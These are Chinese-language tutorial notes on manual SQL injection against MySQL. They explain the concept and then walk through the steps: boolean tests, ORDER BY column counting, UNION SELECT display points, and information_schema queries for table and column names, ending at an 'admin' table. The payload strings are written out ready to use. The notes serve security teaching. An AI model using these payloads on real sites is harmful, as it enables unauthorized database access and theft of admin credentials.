1.知识点一:什么是sql注入?
用户输入的内容被网站当做数据库语句进行执行。关键点:输入的内容 一定要是【数据库语句】。
用户输入的内容: 我们输入的内容。
在一个网站上能够输入的地方:
1.网站给我们提供的框框(比如搜索框,登陆框····)
2.网址的参数的值。
过程:我们输入“虎年红包”,回车后,京东网站将我们输入的“虎年红包”,拿到了它的数据库里面进行查询,
并且将查询的结果显示到了网站上。
总结:
漏洞原理:
我们在一个网站上,输入【数据库语句】,如果这个网站执行了,就说明这个网站存在数据库注入漏洞。
2.知识点二:
分类:mysql、access、mssql····
数据库的结构:库、表、行、列—(字段)
select ··· from ··· where
select 翻译:查询
from 翻译:来自
where 翻译:条件,当····条件成立的时候
Eg:select 嫂子是否在家 from 风哥的家 where 风哥不在家 。 (四级英语的翻译题)
翻译成中文:当风哥不在家条件成立的时候,去风哥的家查询嫂子是否在家。
阚:当风哥不在家,去风哥家里看看嫂子是否在家
半城:在风哥不在家的情况下,在风哥的家中看嫂子是是否在家
Navicat 软件,功能:管理数据库。
* 代表 所有数据的意思。
3.知识点三:渗透流程
漏洞原理:
我们在一个网站上,输入【数据库语句】,如果这个网站执行了,就说明这个网站存在数据库注入漏洞。
and 并列条件
1=1 and 2=2 (前后两条件都成立,才算成立。)
1.判断网站是否存在数据库注入漏洞。
and 1=1 --> 页面有内容
and 1=2 --> 页面没有内容
==> 推断出该网站存在数据库注入漏洞。
原因:我们输入的数据库语句,该网站执行。
2.判断字段(列)数 ,order by ,作用:排序。
ps:一个网站存在数据库注入漏洞,意味着我们输入的数据库语句都会执行。
order by 1 --> 页面有内容 --> 说明网站的表里面有1列。
order by 2 --> 页面有内容 --> 说明网站的表里面有2列。
order by 3 --> 页面没有内容 --> 说明网站的表里面没有3列,只有2列。
ps:当and被网站过滤的时候,可以使用order by 来判断。
3.判断回显点。union 作用:能够同时执行两条查询语句。关键点:必须保证前后两条查询的语句【列的个数保持一致】。
回显点:能够将我们输入的数据库语句,执行,并且将执行的结果显示到页面上。
and 1=2 union select 1,2
4.查询数据
version() # 作用:查询版本号。 5.5.53
database()# 作用:当前数据库库名。 maoshe
查询表名:
?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
查询列名:
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
limit m,n # 从第m+1行开始查询n条数据。 limit 2,2
information_schema 库名,mysql自带的。
tables 表的名字,mysql自带的。 information_schema.tables ,库.表 (指定什么库里面的什么表)
columns 表的名字,mysql自带的。
table_schema 列的名字,存储的是网站管理员创建的库名
table_name 列的名字,存储的是网站管理员创建表的名字
column_name 列的名字 ,存储的是网站管理员创建列的名字